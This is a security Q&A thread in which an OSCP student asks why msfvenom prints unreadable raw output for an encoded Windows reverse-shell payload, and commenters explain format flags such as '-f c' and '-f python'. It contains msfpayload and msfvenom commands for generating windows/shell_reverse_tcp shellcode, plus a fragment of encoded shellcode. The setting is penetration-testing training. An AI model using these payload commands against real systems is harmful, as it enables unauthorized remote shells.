I'm doing the Windows Buffer Overflow Exploitation section of the OSCP course, and the author uses a combination of msfpayload and msfencode to generate a windows/shell_reverse_tcp payload encoded with shikata ga nai. This is the command that he uses:

msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

The terminal displays the following encoded shellcode output:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf = 
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +

I can then copy the generated shellcode to my Python script and continue with the exploitation process of an application.

I know that both msfpayload and msfencodeare deprecated, and MSFvenom should be used instead. This is the command that I'm using to achieve the same result as stated above.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

This is the output that I get in the terminal:

���t$����9�X3ɱR1P ��� ���`� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�`] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
�� �N&�

As you can see I don’t get the actual shellcode output. What am I doing wrong? I would like to get MSFvenom to output the shellcode that I can copy to my Python script.

  • 1
    Have you looked at the output formats?
    – schroeder
    Sep 2, 2015 at 16:39
  • 2
    Yes. I can reproduce this at my end. Will generate an issue at the Metasploit github pages. Please use -f python for now to generate the payload for your python script. It is working fine.
    – void_in
    Sep 2, 2015 at 16:55
  • @void_in. Thanks for your reply. So the issue is with msfvenom itself, and not with the command I'm using.
    – Alex
    Sep 2, 2015 at 17:17
  • 1
    @Alex Talked to HD regarding this and actually this is the expected behavior. Raw output is displayed on stderr and since it will have non-printable characters, it won't be displayed on screen. You either have to generate the payload in a particular format (python, c, ruby etc) or redirect the output to a file. msfvenom -p <payload> -o output.bin should work fine for raw. Still you will need a hex editor to examine the output.
    – void_in
    Sep 2, 2015 at 17:23
  • 1
    I'm currently also doing the OSCP training. I use the -f c switch and my payloads work perfectly.
    – Jeroen
    Sep 2, 2015 at 17:40

2 Answers 2


You are using a wrong switch. This should work, tried and tested during OSCP training:

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
unsigned char buf[] = 

You seem to be missing an "-i" flag. This flag tells the encoder how many times it is supposed to run. Not sure if it is required or the source for your problem but it could be. Also: I like to allways output shellcode in py with "-f py" and to a file so I can remove the "buf += " with find and replace. Also I like to add a "-a (x86 or x64)" and a "--platform (windows)" flag just because of the odd chance that something might go wrong without these.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .